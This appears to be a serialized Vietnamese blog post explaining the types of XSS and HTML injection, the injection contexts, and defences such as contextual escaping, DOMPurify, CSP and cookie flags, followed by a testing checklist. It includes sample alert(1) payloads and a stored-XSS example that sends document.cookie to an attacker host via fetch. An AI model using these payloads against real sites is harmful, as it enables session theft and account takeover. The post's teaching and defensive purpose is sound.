[{"data":1,"prerenderedAt":902},["ShallowReactive",2],{"post-html-injection":3},{"id":4,"title":5,"body":6,"description":887,"extension":888,"meta":889,"navigation":753,"path":897,"seo":898,"stem":899,"__hash__":900,"dateDisplay":895,"image":896,"tags":891,"badge":890,"readingTime":901},"posts\u002Fposts\u002Fhtml-injection.md","HTML Injection & XSS",{"type":7,"value":8,"toc":870},"minimark",[9,42,47,52,128,132,154,158,253,257,270,274,302,306,309,386,390,425,434,438,446,450,501,505,525,529,579,583,603,607,615,619,631,635,651,655,660,664,672,676,681,685,814,818,866],[10,11,12,32],"ul",{},[13,14,15,19,20,24,25,24,28,31],"li",{},[16,17,18],"strong",{},"HTML Injection",": attacker được phép đưa vào chuỗi HTML (ví dụ ",[21,22,23],"code",{},"\u003Cb>",", ",[21,26,27],{},"\u003Cimg>",[21,29,30],{},"\u003Cscript>","), làm thay đổi layout hoặc hiển thị nội dung không mong muốn. Không nhất thiết chứa mã JS — có thể chỉ là chèn markup.",[13,33,34,37,38,41],{},[16,35,36],{},"XSS (Cross-Site Scripting)",": một dạng HTML Injection ",[16,39,40],{},"khi attacker có thể chèn mã JavaScript"," hoặc tạo điều kiện để mã độc thực thi trong trình duyệt nạn nhân. Mục tiêu thường là đánh cắp cookie\u002Fsession, CSRF nâng cao, DOM tampering, redirect, keylogger, crypto-jacking, v.v.",[43,44,46],"h1",{"id":45},"các-dạng-xss-chi-tiết-cách-nhận-biết-ví-dụ","Các dạng XSS (chi tiết, cách nhận biết & ví dụ)",[48,49,51],"h2",{"id":50},"_1-reflected-xss-non-persistent","1) Reflected XSS (Non-persistent)",[10,53,54,60,66,122],{},[13,55,56,59],{},[16,57,58],{},"Mô tả:"," payload đi kèm request (query string, POST, header) và server \"reflected\" trực tiếp payload vào response. Không lưu trên server.",[13,61,62,65],{},[16,63,64],{},"Khi nào xảy ra:"," search pages, error messages, redirect parameters, any echo of user input.",[13,67,68,71,114,117,118,121],{},[16,69,70],{},"Ví dụ (vulnerable):",[72,73,78],"pre",{"className":74,"code":75,"language":76,"meta":77,"style":77},"language-html shiki shiki-themes github-light github-dark","\u003C!-- server trả về -->\n\u003Cp>Search result for: \u003C?php echo $_GET['q']; ?>\u003C\u002Fp>\n","html","",[21,79,80,89],{"__ignoreMap":77},[81,82,85],"span",{"class":83,"line":84},"line",1,[81,86,88],{"class":87},"sJ8bj","\u003C!-- server trả về -->\n",[81,90,92,96,100,103,106,109,111],{"class":83,"line":91},2,[81,93,95],{"class":94},"sVt8B","\u003C",[81,97,99],{"class":98},"s9eBZ","p",[81,101,102],{"class":94},">Search result for: ",[81,104,95],{"class":105},"s7hpK",[81,107,108],{"class":94},"?php echo $_GET['q']; ?>\u003C\u002F",[81,110,99],{"class":98},[81,112,113],{"class":94},">\n",[115,116],"br",{},"Nếu ",[21,119,120],{},"q=%3Cscript%3Ealert(1)%3C%2Fscript%3E"," => alert chạy.",[13,123,124,127],{},[16,125,126],{},"Dò kiểm thử:"," thử payload trong URL, kiểm tra response HTML, dùng Burp Repeater.",[48,129,131],{"id":130},"_2-stored-xss-persistent","2) Stored XSS (Persistent)",[10,133,134,139,149],{},[13,135,136,138],{},[16,137,58],{}," attacker lưu payload vào DB (comment, profile, message) — payload sẽ được hiển thị cho các user khác => potent.",[13,140,141,144,145,148],{},[16,142,143],{},"Ví dụ:"," form comment lưu ",[21,146,147],{},"\"\u003Cscript>fetch('https:\u002F\u002Fattacker?c='+document.cookie)\u003C\u002Fscript>\"",". Khi admin xem comment, cookie bị leak.",[13,150,151,153],{},[16,152,126],{}," kiểm tra mọi chỗ lưu dữ liệu: comment, profile bio, upload filename, DB fields.",[48,155,157],{"id":156},"_3-dom-based-xss-client-side","3) DOM-based XSS (Client-side)",[10,159,160,165,226],{},[13,161,162,164],{},[16,163,58],{}," server trả HTML không chứa payload, nhưng JavaScript ở client-side lấy input (location.hash, document.location, document.referrer, innerHTML từ user-controlled data) và gán vào DOM mà không sanitize — payload thực thi hoàn toàn ở client. Không cần server-side vulnerable echo.",[13,166,167,170,220,222,225],{},[16,168,169],{},"Ví dụ (vulnerable client code):",[72,171,175],{"className":172,"code":173,"language":174,"meta":77,"style":77},"language-js shiki shiki-themes github-light github-dark","\u002F\u002F nguy hiểm\ndocument.getElementById('out').innerHTML = location.hash.substring(1);\n","js",[21,176,177,182],{"__ignoreMap":77},[81,178,179],{"class":83,"line":84},[81,180,181],{"class":87},"\u002F\u002F nguy hiểm\n",[81,183,184,187,191,194,198,201,205,208,211,213,217],{"class":83,"line":91},[81,185,186],{"class":94},"document.",[81,188,190],{"class":189},"sScJk","getElementById",[81,192,193],{"class":94},"(",[81,195,197],{"class":196},"sZZnC","'out'",[81,199,200],{"class":94},").innerHTML ",[81,202,204],{"class":203},"szBVR","=",[81,206,207],{"class":94}," location.hash.",[81,209,210],{"class":189},"substring",[81,212,193],{"class":94},[81,214,216],{"class":215},"sj4cs","1",[81,218,219],{"class":94},");\n",[115,221],{},[21,223,224],{},"page.html#\u003Cimg src=x onerror=alert(1)>"," → chạy.",[13,227,228,230,231,24,234,24,237,24,240,24,243,24,246,24,249,252],{},[16,229,126],{}," kiểm tra scripts trên page, search uses of ",[21,232,233],{},"innerHTML",[21,235,236],{},"document.write",[21,238,239],{},"eval",[21,241,242],{},"setInnerHTML",[21,244,245],{},"location",[21,247,248],{},"document.referrer",[21,250,251],{},"postMessage"," handlers.",[48,254,256],{"id":255},"_4-self-xss-social-engineered","4) Self-XSS (social-engineered)",[10,258,259,264],{},[13,260,261,263],{},[16,262,58],{}," dạng lừa người dùng paste mã độc vào console; ít gặp phỏng vấn, nhưng phải biết.",[13,265,266,269],{},[16,267,268],{},"Phòng tránh:"," giáo dục user; không hỗ trợ paste từ unknown sources.",[48,271,273],{"id":272},"_5-mutation-xss-polyglot-bypass-variants","5) Mutation XSS \u002F Polyglot \u002F Bypass variants",[10,275,276,297],{},[13,277,278,280,281,284,285,288,289,292,293,296],{},[16,279,58],{}," tận dụng khả năng parser HTML\u002FDOM biến đổi payload; dùng đa dạng encoding (UTF-7, 0x0A, HTML entities), nested tags, SVG, ",[21,282,283],{},"\u003Csvg onload=...>",", CSS expressions (IE), ",[21,286,287],{},"javascript:"," in href, ",[21,290,291],{},"data:"," URIs, ",[21,294,295],{},"srcdoc"," iframe, template injections, v.v.",[13,298,299,301],{},[16,300,126],{}," thử nhiều encoding, different contexts, và DOM mutation scenarios.",[43,303,305],{"id":304},"contexts-nơi-xss-xuất-hiện-quan-trọng-để-encode-đúng","Contexts — nơi XSS xuất hiện (quan trọng để encode đúng)",[99,307,308],{},"Khi encoding\u002Fescaping phải biết context nơi dữ liệu được chèn:",[310,311,312,322,331,337,346,352,362],"ol",{},[13,313,314,317,318,321],{},[16,315,316],{},"HTML body (between tags)"," — ví dụ: ",[21,319,320],{},"\u003Cdiv>USER\u003C\u002Fdiv>"," → encode HTML entities.",[13,323,324,317,327,330],{},[16,325,326],{},"HTML attribute",[21,328,329],{},"\u003Cimg src=\"USER\">"," → encode attribute (quote-aware).",[13,332,333,336],{},[16,334,335],{},"Unquoted attribute"," — nguy hiểm hơn; tránh.",[13,338,339,317,342,345],{},[16,340,341],{},"JavaScript context",[21,343,344],{},"\u003Cscript>var a = 'USER';\u003C\u002Fscript>"," → cần JS string-escaping.",[13,347,348,351],{},[16,349,350],{},"URL context"," — trong href\u002Fsrc; phải URL-encode + validate scheme.",[13,353,354,357,358,361],{},[16,355,356],{},"CSS context"," — ",[21,359,360],{},"style=\"background-image: url(USER)\""," → CSS escaping.",[13,363,364,367,368,24,370,24,373,24,375,24,377,24,380,24,382,385],{},[16,365,366],{},"DOM sinks"," — client-side sinks (",[21,369,233],{},[21,371,372],{},"outerHTML",[21,374,236],{},[21,376,239],{},[21,378,379],{},"setAttribute",[21,381,245],{},[21,383,384],{},"assign",") — xử lý đặc biệt.",[43,387,389],{"id":388},"payload-mẫu-dùng-cho-labpermission-only","Payload mẫu (dùng cho lab\u002Fpermission-only)",[10,391,392,398,405,411,418],{},[13,393,394,395],{},"Simple reflected: ",[21,396,397],{},"?q=\u003Cscript>alert(1)\u003C\u002Fscript>",[13,399,400,401,404],{},"Attribute injection: ",[21,402,403],{},"\">\u003Cscript>alert(1)\u003C\u002Fscript>"," (gây phá attribute)",[13,406,407,408],{},"Image onerror: ",[21,409,410],{},"\u003Cimg src=x onerror=alert(1)>",[13,412,413,414,417],{},"JS context: ",[21,415,416],{},"' ); alert(1); ( ' "," (khi gán vào JS string)",[13,419,420,421,424],{},"DOM hash payload: ",[21,422,423],{},"#\u003Cimg src=x onerror=alert(1)>"," for DOM-based.",[426,427,428],"blockquote",{},[99,429,430,433],{},[16,431,432],{},"Ghi chú:"," payload phức tạp dễ bị WAF\u002Ffilters — dùng Burp + encoding variants khi thử.",[43,435,437],{"id":436},"cách-phòng-ngừa-defense-in-depth-cụ-thể-dễ-nhớ","Cách phòng ngừa (defense-in-depth) — cụ thể & dễ nhớ",[426,439,440],{},[99,441,442,443],{},"Nguyên tắc tổng: ",[16,444,445],{},"Never trust input. Escape at output. Apply contextual encoding. Use safe APIs. Defense-in-depth.",[48,447,449],{"id":448},"_1-output-encoding-escaping-primary","1) Output encoding \u002F escaping (primary)",[10,451,452,495],{},[13,453,454,457,458],{},[16,455,456],{},"Luôn encode dữ liệu khi output, theo context",":",[10,459,460,479,482,489,492],{},[13,461,462,463,465,466,465,469,465,472,465,475,478],{},"HTML body: escape ",[21,464,95],{}," ",[21,467,468],{},">",[21,470,471],{},"&",[21,473,474],{},"\"",[21,476,477],{},"'"," → dùng HTML entity encoding.",[13,480,481],{},"Attribute: quote attribute and escape quotes & angle-brackets.",[13,483,484,485,488],{},"JS: JS string escape (e.g., ",[21,486,487],{},"\\xHH","), hoặc better: avoid inserting user data into JS code.",[13,490,491],{},"URL: URL-encode and validate scheme.",[13,493,494],{},"CSS: CSS escape if inside style.",[13,496,497,500],{},[16,498,499],{},"Thư viện",": dùng thư viện trusted (framework auto-escape): e.g., Razor, Django templates, Jinja2 (autoescape on), React (dangerouslySetInnerHTML only with clean data).",[48,502,504],{"id":503},"_2-context-aware-sanitization-only-when-you-must-allow-html","2) Context-aware sanitization (only when you must allow HTML)",[10,506,507,514],{},[13,508,509,510,513],{},"Nếu cần cho user nhập rich text (HTML), ",[16,511,512],{},"sanitize"," bằng thư viện whitelist (DOMPurify, OWASP Java HTML Sanitizer).",[13,515,516,517,520,521,524],{},"Không dùng regex để lọc HTML. Luôn sanitize ",[16,518,519],{},"server-side"," và ",[16,522,523],{},"client-side"," nếu có.",[48,526,528],{"id":527},"_3-use-safe-apis-avoid-unsafe-sinks","3) Use safe APIs — avoid unsafe sinks",[10,530,531,551,568],{},[13,532,533,465,536,24,538,24,540,24,542,24,544,24,547,550],{},[16,534,535],{},"Avoid",[21,537,233],{},[21,539,372],{},[21,541,236],{},[21,543,239],{},[21,545,546],{},"setTimeout(string)",[21,548,549],{},"new Function(...)",".",[13,552,553,554,557,558,557,561,557,564,567],{},"Use ",[21,555,556],{},"textContent"," \u002F ",[21,559,560],{},"innerText",[21,562,563],{},".value",[21,565,566],{},".setAttribute()"," with safe values.",[13,569,570,571,24,574,24,577,550],{},"For building DOM, use ",[21,572,573],{},"createElement",[21,575,576],{},"appendChild",[21,578,556],{},[48,580,582],{"id":581},"_4-content-security-policy-csp","4) Content Security Policy (CSP)",[10,584,585,594],{},[13,586,587,590,591],{},[16,588,589],{},"CSP"," giúp giảm impact: ",[21,592,593],{},"Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...';",[13,595,596,597,599,600,602],{},"Use nonces or hashes for inline scripts. CSP is a mitigation — not replacement for escaping. CSP can block inline ",[21,598,30],{}," and ",[21,601,239],{}," and external bad scripts.",[48,604,606],{"id":605},"_5-http-only-secure-samesite-cookies","5) HTTP-only, Secure, SameSite cookies",[10,608,609],{},[13,610,611,614],{},[21,612,613],{},"Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict"," → JS không thể đọc cookie (chặn cookie theft). Nhưng note: XSS vẫn nguy hiểm (keystroke capture, actions).",[48,616,618],{"id":617},"_6-input-validation-allow-listing","6) Input validation & allow-listing",[10,620,621],{},[13,622,623,624,626,627,630],{},"Validate type\u002Flength\u002Fformat on ",[16,625,519],{},". But ",[16,628,629],{},"validation ≠ escaping",". Validation reduces attack surface (e.g., numeric IDs only). Use allowlists not blacklists.",[48,632,634],{"id":633},"_7-output-encoding-libraries-frameworks","7) Output encoding libraries & frameworks",[10,636,637],{},[13,638,639,640,643,644,24,647,650],{},"Use template engines with ",[16,641,642],{},"auto-escaping"," (React\u002FAngular\u002FVue do auto-escape by default for bindings), but be careful with constructs that bypass auto-escape (e.g., ",[21,645,646],{},"v-html",[21,648,649],{},"dangerouslySetInnerHTML",").",[48,652,654],{"id":653},"_8-sanitize-filenames-safe-file-uploads","8) Sanitize filenames, safe file uploads",[10,656,657],{},[13,658,659],{},"When showing filenames as HTML, escape them. Rename files on upload to safe names.",[48,661,663],{"id":662},"_9-secure-headers","9) Secure headers",[10,665,666],{},[13,667,668,671],{},[21,669,670],{},"X-XSS-Protection"," historically used; modern browsers rely on CSP and proper escaping. Still consider security headers.",[48,673,675],{"id":674},"_10-logging-monitoring","10) Logging & Monitoring",[10,677,678],{},[13,679,680],{},"Log suspicious inputs and alerts. Monitor WAF, SIEM for spikes in script-like inputs.",[43,682,684],{"id":683},"practical-secure-coding-examples-ngắn","Practical secure-coding examples (ngắn)",[10,686,687,703,723,771],{},[13,688,689,692],{},[16,690,691],{},"Unsafe (vulnerable):",[72,693,697],{"className":694,"code":695,"language":696,"meta":77,"style":77},"language-php shiki shiki-themes github-light github-dark","echo \"\u003Cdiv>\".$_GET['name'].\"\u003C\u002Fdiv>\";\n","php",[21,698,699],{"__ignoreMap":77},[81,700,701],{"class":83,"line":84},[81,702,695],{},[13,704,705,708],{},[16,706,707],{},"Safe:",[72,709,711],{"className":694,"code":710,"language":696,"meta":77,"style":77},"\u002F\u002F PHP (use htmlspecialchars)\necho \"\u003Cdiv>\" . htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . \"\u003C\u002Fdiv>\";\n",[21,712,713,718],{"__ignoreMap":77},[81,714,715],{"class":83,"line":84},[81,716,717],{},"\u002F\u002F PHP (use htmlspecialchars)\n",[81,719,720],{"class":83,"line":91},[81,721,722],{},"echo \"\u003Cdiv>\" . htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . \"\u003C\u002Fdiv>\";\n",[13,724,725,728],{},[16,726,727],{},"JS DOM safe (avoid innerHTML):",[72,729,731],{"className":172,"code":730,"language":174,"meta":77,"style":77},"\u002F\u002F unsafe\nelement.innerHTML = userInput;\n\n\u002F\u002F safe\nelement.textContent = userInput;\n",[21,732,733,738,748,755,761],{"__ignoreMap":77},[81,734,735],{"class":83,"line":84},[81,736,737],{"class":87},"\u002F\u002F unsafe\n",[81,739,740,743,745],{"class":83,"line":91},[81,741,742],{"class":94},"element.innerHTML ",[81,744,204],{"class":203},[81,746,747],{"class":94}," userInput;\n",[81,749,751],{"class":83,"line":750},3,[81,752,754],{"emptyLinePlaceholder":753},true,"\n",[81,756,758],{"class":83,"line":757},4,[81,759,760],{"class":87},"\u002F\u002F safe\n",[81,762,764,767,769],{"class":83,"line":763},5,[81,765,766],{"class":94},"element.textContent ",[81,768,204],{"class":203},[81,770,747],{"class":94},[13,772,773,776],{},[16,774,775],{},"Allow limited HTML (use DOMPurify):",[72,777,779],{"className":172,"code":778,"language":174,"meta":77,"style":77},"\u002F\u002F browser side\nconst clean = DOMPurify.sanitize(userHtml);\nelement.innerHTML = clean;\n",[21,780,781,786,805],{"__ignoreMap":77},[81,782,783],{"class":83,"line":84},[81,784,785],{"class":87},"\u002F\u002F browser side\n",[81,787,788,791,794,797,800,802],{"class":83,"line":91},[81,789,790],{"class":203},"const",[81,792,793],{"class":215}," clean",[81,795,796],{"class":203}," =",[81,798,799],{"class":94}," DOMPurify.",[81,801,512],{"class":189},[81,803,804],{"class":94},"(userHtml);\n",[81,806,807,809,811],{"class":83,"line":750},[81,808,742],{"class":94},[81,810,204],{"class":203},[81,812,813],{"class":94}," clean;\n",[43,815,817],{"id":816},"testing-checklist-cho-xss-pentest-dev-sec","Testing checklist cho XSS (pentest \u002F dev-sec)",[10,819,820,823,826,829,846,849,857,860,863],{},[13,821,822],{},"Tìm tất cả input vectors: query, POST, headers, cookies, referer, user profile, filenames, DB fields.",[13,824,825],{},"Test reflected: inject payload in URL \u002F form -> check response.",[13,827,828],{},"Test stored: submit payload to saveable inputs -> view as different user.",[13,830,831,832,24,834,24,836,24,838,24,840,24,843,845],{},"Test DOM-based: inspect client JS for sinks (",[21,833,233],{},[21,835,236],{},[21,837,239],{},[21,839,379],{},[21,841,842],{},"location.hash",[21,844,251],{}," handlers).",[13,847,848],{},"Test context-sensitive payloads (HTML, attribute, JS, URL, CSS).",[13,850,851,852,292,854,856],{},"Test event handlers, SVG, ",[21,853,291],{},[21,855,287],{}," links, template engines.",[13,858,859],{},"Test encoding: HTML entities, URL encoding, UTF-8 weirdness.",[13,861,862],{},"Verify fixes: use automated scanners + manual tests.",[13,864,865],{},"Check cookies flags, CSP presence & effectiveness.",[867,868,869],"style",{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":77,"searchDepth":91,"depth":91,"links":871},[872,873,874,875,876,877,878,879,880,881,882,883,884,885,886],{"id":50,"depth":91,"text":51},{"id":130,"depth":91,"text":131},{"id":156,"depth":91,"text":157},{"id":255,"depth":91,"text":256},{"id":272,"depth":91,"text":273},{"id":448,"depth":91,"text":449},{"id":503,"depth":91,"text":504},{"id":527,"depth":91,"text":528},{"id":581,"depth":91,"text":582},{"id":605,"depth":91,"text":606},{"id":617,"depth":91,"text":618},{"id":633,"depth":91,"text":634},{"id":653,"depth":91,"text":654},{"id":662,"depth":91,"text":663},{"id":674,"depth":91,"text":675},"phân loại (reflected\u002Fstored\u002FDOM), context-aware escaping, payload mẫu và defensive coding (escape theo context, DOMPurify, CSP).","md",{"badge":890,"tags":891,"date":894,"dateDisplay":895,"image":896},"Web Security",[892,893],"Web","XSS","2025-06-20","Jun 20, 2025","\u002Fthumbnails\u002Fowasp-top-ten-1000.png","\u002Fposts\u002Fhtml-injection",{"title":5,"description":887},"posts\u002Fhtml-injection","w75pDv2BGufI8HhyFOd1h-xg2VQF-gZ9_p_ADURiliI",6,1787385494421]